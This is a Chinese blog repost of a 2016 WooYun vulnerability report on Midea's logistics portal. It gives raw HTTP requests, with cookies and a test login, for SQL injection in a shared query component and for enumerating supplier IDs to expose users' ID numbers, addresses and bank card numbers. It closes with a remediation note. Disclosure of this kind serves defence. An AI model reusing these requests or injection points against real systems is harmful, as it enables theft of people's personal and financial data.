记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

美的某系统漏洞打包(SQL注入/信息遍历)影响用户身份证/地址/银行卡号信息

2016-06-24 23:55

美的大物流系统

地址:http://lms.midea.com/module-portalweb/portalweb/view/index.shtml

QQ截图20160510105249.png



随意注册一个帐号进系统

chenjie密码xx123456

该系统内存在多处注入

QQ截图20160510105556.png



如基本信息中的几个查询框

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=bankInformation HTTP/1.1

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: lms.midea.com

Content-Length: 52

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@



banknumber=B00&page.currentPage=1&page.limitCount=10





参数banknumber

QQ截图20160510104429.png



QQ截图20160510104418.png



QQ截图20160510105714.png



QQ截图20160510110519.png





其实这个查询页面是个公用组件,很多查询都是调这个页面,只是参数不同,比如

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/components/tangram/combo/popwin/query.shtml?cfgKey=selectCustomer HTTP/1.1

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/TransportationPlanList.shtml

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: lms.midea.com

Content-Length: 59

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlFTVFBQXFJVVFZUVFRHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@



pmCode=1&ebcuNameCn=1&page.currentPage=1&page.limitCount=10



参数ebcuNameCn

QQ截图20160510113548.png



QQ截图20160510113708.png

漏洞证明:

信息遍历

code 区域
POST https://lms.midea.com/module-portalweb/portalweb/portal/supplier/findBySupppliersCode.shtml HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://lms.midea.com/module-portalweb/portalweb/view/supplier/EbSupplierEdit.shtml

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: lms.midea.com

Content-Length: 23

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: env=%7B%22channel%22%3A3%7D; midea_mk=fcc3e2b905070c8e34a0545e7b6f6486; Hm_lvt_94d2fcdc25bf11213329895f51da83d0=1462847016; Hm_lpvt_94d2fcdc25bf11213329895f51da83d0=1462847016; OAM_LANG_PREF=v1.0~cHJlZmVycmVkTGFuZ3VhZ2U9emh+ZGVmYXVsdExhbmd1YWdlTWFya2VyPWZhbHNl; oam_locale=zh; ObSSOCookie=loggedoutcontinue; _sna=VlRVVlBWXFRdVFRXVlxcXVZHBwwBCg4NAUcHDAEKDg0BR1VUVEdAOwoNCDtARw@@



suppliersCode=HC0051797



通过对suppliersCode进行递减,可遍历已注册用户的信息

包括姓名、身份证、地址、银行卡号等信息

QQ截图20160510110016.png



QQ截图20160510110338.png



当然 如果有耐心等注入结果,数据会更全面点

修复方案:

参数化查询,权限控制

知识来源: www.wooyun.org/bugs/wooyun-2016-0206992

阅读:182792 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“美的某系统漏洞打包(SQL注入/信息遍历)影响用户身份证/地址/银行卡号信息”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云